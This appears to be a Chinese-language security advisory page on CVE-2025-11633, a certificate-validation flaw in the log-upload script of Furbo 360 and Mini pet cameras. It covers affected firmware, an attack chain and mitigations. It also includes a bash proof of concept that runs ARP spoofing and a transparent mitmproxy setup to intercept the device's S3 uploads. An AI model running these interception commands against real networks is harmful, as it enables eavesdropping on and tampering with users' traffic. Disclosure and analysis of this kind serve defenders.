IPBUF安全漏洞报告
English
CVE-2025-11633 CVSS 3.7 低危

CVE-2025-11633:Tomofun Furbo设备collect_logs.sh证书验证不当漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11633
漏洞类型
证书验证不当
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360 和 Furbo Mini

相关标签

CVE-2025-11633证书验证不当中间人攻击MITMTomofunFurbo 360Furbo Mini智能设备IoT安全HTTPS

漏洞概述

CVE-2025-11633是Tomofun公司生产的Furbo 360和Furbo Mini智能宠物摄像头设备中存在的一个安全漏洞。该漏洞位于设备固件的collect_logs.sh脚本中的upload_file_to_s3函数,属于HTTP流量处理组件的一部分。具体而言,该函数在将日志文件上传到Amazon S3云存储服务的过程中,未能正确验证TLS/SSL证书的有效性,导致存在中间人攻击(MITM)的风险。

该漏洞的CVSS 3.1评分为3.7分,属于低危级别。尽管攻击者可以远程发起攻击,但攻击复杂度较高,利用难度较大。攻击者需要在网络通信路径上能够拦截和篡改设备与S3服务器之间的HTTPS流量,例如通过ARP欺骗、DNS劫持或部署恶意Wi-Fi热点等方式,才能成功实施攻击。

值得注意的是,Tomofun公司在漏洞披露前已被提前通知,但未对披露做出任何回应,这表明该漏洞可能至今仍未获得官方修复补丁。受影响的固件版本包括Furbo 360的FB0035_FW_036及以下版本,以及Furbo Mini的MC0020_FW_074及以下版本。该漏洞的发现者为[email protected],于2025年10月12日正式公开披露。

技术细节

该漏洞的根本原因在于collect_logs.sh脚本中的upload_file_to_s3函数在执行HTTPS请求上传日志文件至Amazon S3存储服务时,未对服务器证书进行严格的验证。具体技术细节如下:

1. **漏洞位置**:collect_logs.sh脚本中的upload_file_to_s3函数,该函数负责将设备收集的日志数据上传到S3云存储。

2. **漏洞原理**:在调用curl或其他HTTP客户端工具进行HTTPS通信时,脚本可能未使用--cacert参数指定CA证书,或未设置适当的证书验证选项(如未禁用SSL_VERIFYPEER)。这意味着即使服务器返回的证书无效、自签名或与预期主机名不匹配,客户端仍会接受连接。

3. **攻击方式**:攻击者需要在网络路径上部署中间人攻击,例如:
- 在同一局域网内进行ARP欺骗,劫持设备到网关的流量
- 部署恶意Wi-Fi热点,诱使用户设备连接
- 利用DNS劫持将S3端点重定向到攻击者控制的服务器
- 部署SSL剥离或伪造证书的攻击代理

4. **影响范围**:由于证书验证不当,攻击者可以:
- 窃听设备上传的日志数据,可能包含用户隐私信息
- 篡改上传的数据内容
- 注入恶意数据到S3存储中

5. **利用条件**:需要满足以下条件才能成功利用:
- 攻击者必须位于设备与S3服务器之间的网络路径上
- 设备需要执行日志上传操作(通常为定时任务)
- 攻击者需要准备有效的攻击基础设施

攻击链分析

STEP 1
步骤1:网络位置部署
攻击者需要将自己置于Furbo设备与Amazon S3服务器之间的网络通信路径上。可以通过ARP欺骗、恶意Wi-Fi热点或DNS劫持等方式实现网络流量的重定向。
STEP 2
步骤2:搭建中间人代理
攻击者部署支持SSL解密的代理工具(如mitmproxy、sslstrip等),用于拦截和转发设备与S3之间的HTTPS通信。由于目标设备的upload_file_to_s3函数未严格验证证书,代理可以成功解密通信内容。
STEP 3
步骤3:等待日志上传触发
Furbo设备会按照预设的时间计划执行collect_logs.sh脚本,调用upload_file_to_s3函数将日志上传到S3。攻击者等待该定时任务触发。
STEP 4
步骤4:拦截并窃取数据
当设备发起HTTPS连接上传日志时,中间人代理截获该请求,伪造S3服务器证书与设备建立TLS连接(由于证书验证不当,设备接受伪造证书),同时与真实S3建立另一条连接,实现透明代理。
STEP 5
步骤5:数据篡改或窃取
攻击者可以完全查看、记录或篡改设备上传的日志数据。这些数据可能包含设备使用信息、用户活动记录等隐私数据,造成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-11633 PoC - Improper Certificate Validation in Furbo collect_logs.sh # This PoC demonstrates the MITM attack scenario against the vulnerable upload_file_to_s3 function # Step 1: Set up a rogue S3 endpoint using mitmproxy or similar tool # The vulnerable script fails to validate certificates, allowing MITM attacks # Step 2: Intercept the HTTPS connection from the Furbo device # Use ARP spoofing to redirect traffic through attacker's machine TARGET_IP="192.168.1.100" # Furbo device IP GATEWAY_IP="192.168.1.1" # Network gateway # Enable IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward # Perform ARP spoofing to intercept traffic arpspoof -i eth0 -t $TARGET_IP $GATEWAY_IP & arpspoof -i eth0 -t $GATEWAY_IP $TARGET_IP & # Step 3: Set up SSL stripping proxy to intercept S3 uploads # Using mitmproxy to intercept and log the upload_file_to_s3 requests mitmproxy --mode transparent --ssl-insecure -s intercept_s3.py # Step 4: intercept_s3.py - Log intercepted S3 upload requests cat << 'EOF' > intercept_s3.py from mitmproxy import http import logging logging.basicConfig(filename='intercepted_uploads.log', level=logging.INFO) def request(flow: http.HTTPFlow): if ".amazonaws.com" in flow.request.pretty_host: logging.info(f"Intercepted S3 upload: {flow.request.method} {flow.request.pretty_host}{flow.request.path}") # Extract and log sensitive data from the request if flow.request.content: logging.info(f"Payload size: {len(flow.request.content)} bytes") EOF echo "[*] MITM attack setup complete. Waiting for Furbo device to upload logs..." echo "[*] Check intercepted_uploads.log for captured data."

影响范围

Tomofun Furbo 360 <= FB0035_FW_036
Tomofun Furbo Mini <= MC0020_FW_074

防御指南

临时缓解措施
由于Tomofun公司尚未对该漏洞做出回应或发布修复补丁,建议用户采取以下临时缓解措施:1)确保Furbo设备仅连接到受信任的家庭网络,避免连接公共Wi-Fi;2)在路由器上启用ARP防护功能(如动态ARP检测DAI、ARP绑定等);3)使用网络监控工具检测局域网中的异常行为;4)考虑将设备放置在独立的VLAN或网段中,限制其网络访问范围;5)定期检查并关注Tomofun官方发布的安全更新和固件补丁;6)如设备支持,可手动修改collect_logs.sh脚本中的curl命令,添加--cacert参数指定CA证书路径,确保TLS证书验证的正确性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表